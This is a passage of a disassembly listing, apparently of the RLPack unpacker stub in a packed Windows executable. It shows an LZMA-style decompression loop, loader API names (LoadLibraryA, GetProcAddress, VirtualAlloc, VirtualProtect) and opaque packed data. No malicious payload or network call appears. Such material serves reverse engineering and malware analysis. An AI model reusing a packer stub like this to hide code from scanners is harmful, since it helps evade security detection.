		movzx	ecx, byte ptr [ebp-1]
		imul	ecx, 0C00h
		xor	edx, edx
		mov	[edi], esi
		mov	esi, [ebp+10h]
		inc	edx
		cmp	dword ptr [ebp-0Ch], 7
		lea	ecx, [esi+ecx+1CD8h]
		mov	eax, ebx
		mov	[ebp-20h], ecx
		jl	loc_51E71F
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		mov	esi, [ebp+8]
		movzx	ecx, byte ptr [esi+ecx]
		mov	[ebp-24h], ecx


loc_51E690:				; CODE XREF: .RLPack:0051E717j
		shl	dword ptr [ebp-24h], 1
		mov	esi, [ebp-24h]
		mov	edi, [ebp-20h]
		and	esi, 100h
		cmp	eax, 1000000h
		lea	ecx, [edx+esi]
		lea	ecx, [edi+ecx*4+400h]
		mov	[ebp-2Ch], ecx
		jnb	short loc_51E6CA
		mov	ebx, [ebp-8]
		mov	edi, [ebp+0Ch]
		movzx	ebx, byte ptr [ebx]
		shl	edi, 8
		or	edi, ebx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edi


loc_51E6CA:				; CODE XREF: .RLPack:0051E6B1j
		mov	ecx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_51E6F8
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-2Ch]
		add	edx, edx
		test	esi, esi
		mov	[ecx], edi
		jnz	loc_51E778
		jmp	short loc_51E711
; ---------------------------------------------------------------------------


loc_51E6F8:				; CODE XREF: .RLPack:0051E6D7j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		test	esi, esi
		mov	edi, [ebp-2Ch]
		mov	[edi], ecx
		lea	edx, [edx+edx+1]
		jz	short loc_51E778


loc_51E711:				; CODE XREF: .RLPack:0051E6F6j
		cmp	edx, 100h
		jl	loc_51E690
		jmp	short loc_51E780
; ---------------------------------------------------------------------------


loc_51E71F:				; CODE XREF: .RLPack:0051E67Aj
					; .RLPack:0051E77Ej
		cmp	eax, 1000000h
		mov	ecx, [ebp-20h]
		lea	edi, [ecx+edx*4]
		jnb	short loc_51E743
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_51E743:				; CODE XREF: .RLPack:0051E72Aj
		mov	ecx, [edi]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_51E766
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi], esi
		add	edx, edx
		jmp	short loc_51E778
; ---------------------------------------------------------------------------


loc_51E766:				; CODE XREF: .RLPack:0051E750j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi], ecx
		lea	edx, [edx+edx+1]


loc_51E778:				; CODE XREF: .RLPack:0051E6F0j
					; .RLPack:0051E70Fj ...
		cmp	edx, 100h
		jl	short loc_51E71F


loc_51E780:				; CODE XREF: .RLPack:0051E71Dj
		mov	esi, [ebp-10h]
		mov	ecx, [ebp+8]
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-1], dl
		mov	[ecx+esi], dl
		jge	short loc_51E79E
		and	dword ptr [ebp-0Ch], 0
		jmp	loc_51E607
; ---------------------------------------------------------------------------


loc_51E79E:				; CODE XREF: .RLPack:0051E793j
		cmp	dword ptr [ebp-0Ch], 0Ah
		jge	short loc_51E7AD
		sub	dword ptr [ebp-0Ch], 3
		jmp	loc_51E607
; ---------------------------------------------------------------------------


loc_51E7AD:				; CODE XREF: .RLPack:0051E7A2j
		sub	dword ptr [ebp-0Ch], 6
		jmp	loc_51E607
; ---------------------------------------------------------------------------


loc_51E7B6:				; CODE XREF: .RLPack:0051E646j
		sub	[ebp+0Ch], ebx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	edx, [ebp-0Ch]
		sub	eax, ebx
		cmp	eax, 1000000h
		mov	[edi], ecx
		mov	ecx, [ebp+10h]
		lea	edx, [ecx+edx*4+300h]
		jnb	short loc_51E7EF
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_51E7EF:				; CODE XREF: .RLPack:0051E7D6j
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_51E841
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	ecx, [ebp-18h]
		mov	[ebp-28h], ecx
		mov	ecx, [ebp-1Ch]
		mov	[ebp-18h], ecx
		mov	ecx, [ebp-14h]
		mov	[edx], edi
		mov	[ebp-1Ch], ecx
		jge	short loc_51E82C
		and	dword ptr [ebp-0Ch], 0
		jmp	short loc_51E833
; ---------------------------------------------------------------------------


loc_51E82C:				; CODE XREF: .RLPack:0051E824j
		mov	dword ptr [ebp-0Ch], 3


loc_51E833:				; CODE XREF: .RLPack:0051E82Aj
		mov	ecx, [ebp+10h]
		add	ecx, 0CC8h
		jmp	loc_51EA2A
; ---------------------------------------------------------------------------


loc_51E841:				; CODE XREF: .RLPack:0051E7FCj
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edi, [edx+ecx*4+330h]
		jnb	short loc_51E87A
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_51E87A:				; CODE XREF: .RLPack:0051E861j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	loc_51E92E
		mov	ebx, 800h
		sub	ebx, ecx
		shr	ebx, 5
		add	ebx, ecx
		mov	ecx, [ebp-0Ch]
		add	ecx, 0Fh
		shl	ecx, 4
		mov	[edi], ebx
		mov	edi, [ebp+10h]
		add	ecx, esi
		cmp	edx, 1000000h
		mov	eax, edx
		lea	edi, [edi+ecx*4]
		jnb	short loc_51E8CF
		mov	ecx, [ebp+0Ch]
		shl	edx, 8
		mov	eax, edx
		mov	edx, [ebp-8]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_51E8CF:				; CODE XREF: .RLPack:0051E8B4j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	short loc_51E91B
		mov	esi, [ebp-10h]
		mov	eax, edx
		mov	edx, 800h
		sub	edx, ecx
		shr	edx, 5
		add	edx, ecx
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	[edi], edx
		mov	edx, [ebp+8]
		setnl	cl
		lea	ecx, [ecx+ecx+9]
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		inc	dword ptr [ebp-10h]
		mov	cl, [edx+ecx]
		mov	[ebp-1], cl
		mov	[edx+esi], cl
		jmp	loc_51E607
; ---------------------------------------------------------------------------


loc_51E91B:				; CODE XREF: .RLPack:0051E8DCj
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	[edi], ecx
		jmp	loc_51EA0E
; ---------------------------------------------------------------------------


loc_51E92E:				; CODE XREF: .RLPack:0051E887j
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		cmp	eax, 1000000h
		mov	edx, [ebp+10h]
		mov	[edi], ecx
		mov	ecx, [ebp-0Ch]
		lea	edx, [edx+ecx*4+360h]
		jnb	short loc_51E967
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_51E967:				; CODE XREF: .RLPack:0051E94Ej
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_51E98B
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-1Ch]
		mov	[edx], edi
		jmp	short loc_51EA05
; ---------------------------------------------------------------------------


loc_51E98B:				; CODE XREF: .RLPack:0051E974j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edx, [edx+ecx*4+390h]
		jnb	short loc_51E9C4
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_51E9C4:				; CODE XREF: .RLPack:0051E9ABj
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_51E9E8
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-18h]
		mov	[edx], edi
		jmp	short loc_51E9FF
; ---------------------------------------------------------------------------


loc_51E9E8:				; CODE XREF: .RLPack:0051E9D1j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		mov	[edx], ecx
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		mov	[ebp-28h], edx


loc_51E9FF:				; CODE XREF: .RLPack:0051E9E6j
		mov	edx, [ebp-1Ch]
		mov	[ebp-18h], edx


loc_51EA05:				; CODE XREF: .RLPack:0051E989j
		mov	edx, [ebp-14h]
		mov	[ebp-1Ch], edx
		mov	[ebp-14h], ecx


loc_51EA0E:				; CODE XREF: .RLPack:0051E929j
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 0Bh
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp+10h]
		add	ecx, 14D0h


loc_51EA2A:				; CODE XREF: .RLPack:0051E83Cj
		cmp	eax, 1000000h
		jnb	short loc_51EA48
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_51EA48:				; CODE XREF: .RLPack:0051EA2Fj
		mov	edx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_51EA74
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		and	dword ptr [ebp-24h], 0
		mov	[ecx], edi
		lea	ecx, [ecx+esi+8]
		jmp	short loc_51EAD2
; ---------------------------------------------------------------------------


loc_51EA74:				; CODE XREF: .RLPack:0051EA55j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, edx
		shr	edi, 5
		sub	edx, edi
		cmp	eax, 1000000h
		mov	[ecx], edx
		jnb	short loc_51EAA0
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_51EAA0:				; CODE XREF: .RLPack:0051EA87j
		mov	edx, [ecx+4]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_51EADB
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		mov	[ecx+4], edi
		lea	ecx, [ecx+esi+208h]
		mov	dword ptr [ebp-24h], 8


loc_51EAD2:				; CODE XREF: .RLPack:0051EA72j
		mov	dword ptr [ebp-20h], 3
		jmp	short loc_51EAFE
; ---------------------------------------------------------------------------


loc_51EADB:				; CODE XREF: .RLPack:0051EAAEj
		sub	[ebp+0Ch], edi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		sub	eax, edi
		mov	[ecx+4], edx
		add	ecx, 408h
		mov	dword ptr [ebp-24h], 10h
		mov	dword ptr [ebp-20h], 8


loc_51EAFE:				; CODE XREF: .RLPack:0051EAD9j
		mov	edx, [ebp-20h]
		xor	ebx, ebx
		mov	[ebp-2Ch], edx
		inc	ebx


loc_51EB07:				; CODE XREF: .RLPack:0051EB60j
		cmp	eax, 1000000h
		jnb	short loc_51EB25
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_51EB25:				; CODE XREF: .RLPack:0051EB0Cj
		mov	edx, [ecx+ebx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_51EB4A
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ecx+ebx*4], esi
		add	ebx, ebx
		jmp	short loc_51EB5D
; ---------------------------------------------------------------------------


loc_51EB4A:				; CODE XREF: .RLPack:0051EB33j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		mov	[ecx+ebx*4], edx
		lea	ebx, [ebx+ebx+1]


loc_51EB5D:				; CODE XREF: .RLPack:0051EB48j
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_51EB07
		mov	ecx, [ebp-20h]
		xor	edx, edx
		inc	edx
		mov	esi, edx
		shl	esi, cl
		mov	ecx, [ebp-24h]
		sub	ecx, esi
		add	ebx, ecx
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-30h], ebx
		jge	loc_51ED14
		add	dword ptr [ebp-0Ch], 7
		cmp	ebx, 4
		jge	short loc_51EB8D
		mov	ecx, ebx
		jmp	short loc_51EB90
; ---------------------------------------------------------------------------


loc_51EB8D:				; CODE XREF: .RLPack:0051EB87j
		push	3
		pop	ecx


loc_51EB90:				; CODE XREF: .RLPack:0051EB8Bj
		mov	esi, [ebp+10h]
		shl	ecx, 8
		lea	edi, [esi+ecx+6C0h]
		mov	dword ptr [ebp-2Ch], 6


loc_51EBA4:				; CODE XREF: .RLPack:0051EBFDj
		cmp	eax, 1000000h
		jnb	short loc_51EBC2
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_51EBC2:				; CODE XREF: .RLPack:0051EBA9j
		mov	ecx, [edi+edx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_51EBE7
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi+edx*4], esi
		add	edx, edx
		jmp	short loc_51EBFA
; ---------------------------------------------------------------------------


loc_51EBE7:				; CODE XREF: .RLPack:0051EBD0j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi+edx*4], ecx
		lea	edx, [edx+edx+1]


loc_51EBFA:				; CODE XREF: .RLPack:0051EBE5j
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_51EBA4
		sub	edx, 40h
		cmp	edx, 4
		mov	edi, edx
		jl	loc_51ECE5
		mov	ecx, edx
		sar	ecx, 1
		and	edi, 1
		dec	ecx
		or	edi, 2
		cmp	edx, 0Eh
		mov	[ebp-14h], ecx
		jge	short loc_51EC32
		shl	edi, cl
		mov	ecx, edi
		sub	ecx, edx
		mov	edx, [ebp+10h]
		lea	ebx, [edx+ecx*4+0ABCh]
		jmp	short loc_51EC78
; ---------------------------------------------------------------------------


loc_51EC32:				; CODE XREF: .RLPack:0051EC1Ej
		sub	ecx, 4


loc_51EC35:				; CODE XREF: .RLPack:0051EC63j
		cmp	eax, 1000000h
		jnb	short loc_51EC53
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_51EC53:				; CODE XREF: .RLPack:0051EC3Aj
		shr	eax, 1
		add	edi, edi
		cmp	[ebp+0Ch], eax
		jb	short loc_51EC62
		sub	[ebp+0Ch], eax
		or	edi, 1


loc_51EC62:				; CODE XREF: .RLPack:0051EC5Aj
		dec	ecx
		jnz	short loc_51EC35
		mov	ebx, [ebp+10h]
		add	ebx, 0C88h
		shl	edi, 4
		mov	dword ptr [ebp-14h], 4


loc_51EC78:				; CODE XREF: .RLPack:0051EC30j
		xor	ecx, ecx
		inc	ecx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ecx


loc_51EC81:				; CODE XREF: .RLPack:0051ECE3j
		cmp	eax, 1000000h
		jnb	short loc_51EC9F
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_51EC9F:				; CODE XREF: .RLPack:0051EC86j
		mov	edx, [ebx+ecx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_51ECC4
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ebx+ecx*4], esi
		add	ecx, ecx
		jmp	short loc_51ECDD
; ---------------------------------------------------------------------------


loc_51ECC4:				; CODE XREF: .RLPack:0051ECADj
		sub	[ebp+0Ch], esi
		mov	ebx, [ebp-20h]
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		or	edi, [ebp-24h]
		mov	[ebx+ecx*4], edx
		lea	ecx, [ecx+ecx+1]


loc_51ECDD:				; CODE XREF: .RLPack:0051ECC2j
		shl	dword ptr [ebp-24h], 1
		dec	dword ptr [ebp-14h]
		jnz	short loc_51EC81


loc_51ECE5:				; CODE XREF: .RLPack:0051EC07j
		inc	edi
		mov	[ebp-14h], edi
		jz	short loc_51ED19
		mov	ebx, [ebp-30h]


loc_51ECEE:				; CODE XREF: .RLPack:0051ED17j
		mov	ecx, [ebp-10h]
		inc	ebx
		sub	ecx, edi
		inc	ebx
		add	ecx, [ebp+8]


loc_51ECF8:				; CODE XREF: .RLPack:0051ED0Dj
		mov	dl, [ecx]
		mov	esi, [ebp-10h]
		mov	edi, [ebp+8]
		dec	ebx
		inc	dword ptr [ebp-10h]
		inc	ecx
		test	ebx, ebx
		mov	[ebp-1], dl
		mov	[edi+esi], dl
		jnz	short loc_51ECF8
		jmp	loc_51E607
; ---------------------------------------------------------------------------


loc_51ED14:				; CODE XREF: .RLPack:0051EB7Aj
		mov	edi, [ebp-14h]
		jmp	short loc_51ECEE
; ---------------------------------------------------------------------------


loc_51ED19:				; CODE XREF: .RLPack:0051ECE9j
		mov	eax, [ebp-10h]
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		dd 3 dup(0)
		dd 11ED48h, 11ED55h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 801D7700h, 80ADA07Ch
		dd 809A517Ch, 809AE47Ch, 801AD07Ch, 7Ch, 4C000000h, 4C64616Fh
		dd 61726269h, 417972h, 74654700h, 636F7250h, 72646441h
		dd 737365h, 72695600h, 6C617574h, 6F6C6C41h, 56000063h
		dd 75747269h, 72466C61h, 6565h,	74726956h, 506C6175h, 65746F72h
		dd 7463h, 1000h, 8, 20h, 320000h, 2 dup(400000h), 2 dup(0)
		dd 1000h, 7000h, 6, 2 dup(0)
a?:
		unicode	0, <+?>,0
a?_0		db '?',0
		dd 11A000h, 1000h, 11DBF6h, 8000h, 11DEB4h, 9000h, 0
		dd 0C5942B00h, 996B32E4h, 2841DF60h, 0DCF8532Eh, 3AE8CFF9h
		dd 6912523Fh, 0FF550275h, 2F34C297h, 2809065h, 0BC252DEAh
		dd 0F960EEAh, 0DDD25827h, 10025F61h, 0A1A8309Ch, 0DA5152FAh
		dd 4DF3A736h, 2DDEDDEFh, 52B8B282h, 4BB145CCh, 0FE0AF66Eh
		dd 2F296696h, 0CA970490h, 0B4D93A7Ah, 7CD27B4Dh, 1442CD45h
		dd 1E2D1A82h, 32685CA0h, 2AC35240h, 8C4C22E3h, 0A0A2564Eh
		dd 7C8ED24Bh, 71E3C21Fh, 3C9AA36Fh, 70BC1C5Fh, 0A300E8DCh
		dd 0FE4351F0h, 67636D8h, 0D35CD6C6h, 113C5CE0h,	794545B3h
		dd 2D9CFA3Eh, 6642D7F3h, 1A181E03h, 0DB2A32DCh,	45620B81h
		dd 3DBF7E4Ah, 4AD6862Ch, 24563D0Eh, 0B76A0F21h,	0E95C3FB9h
		dd 4F9DD5D0h, 0DA41279Bh, 70D6F380h, 70BA07A5h,	7A0A5882h
		dd 28AC0F33h, 4FD93912h, 93D0ED7Ch, 0E6881152h,	927E35B8h
		dd 5720CF88h, 98B29A85h, 7EF2636Ah, 3982F8ECh, 0E56041FEh
		dd 86E766D2h, 6DF92D5Bh, 53B6A10Ch, 392EC9EAh, 78B4E96Fh
		dd 3D413927h, 0A5DEA553h, 0F1B539B1h, 0EB30782h, 9474C7B3h
		dd 0E5FF6D65h, 0E0D73Bh
		db 3 dup(0)
_RLPack		ends

; Section 3. (virtual address 0011F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0011F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 51F000h
		align 2000h
_idata2		ends


		end start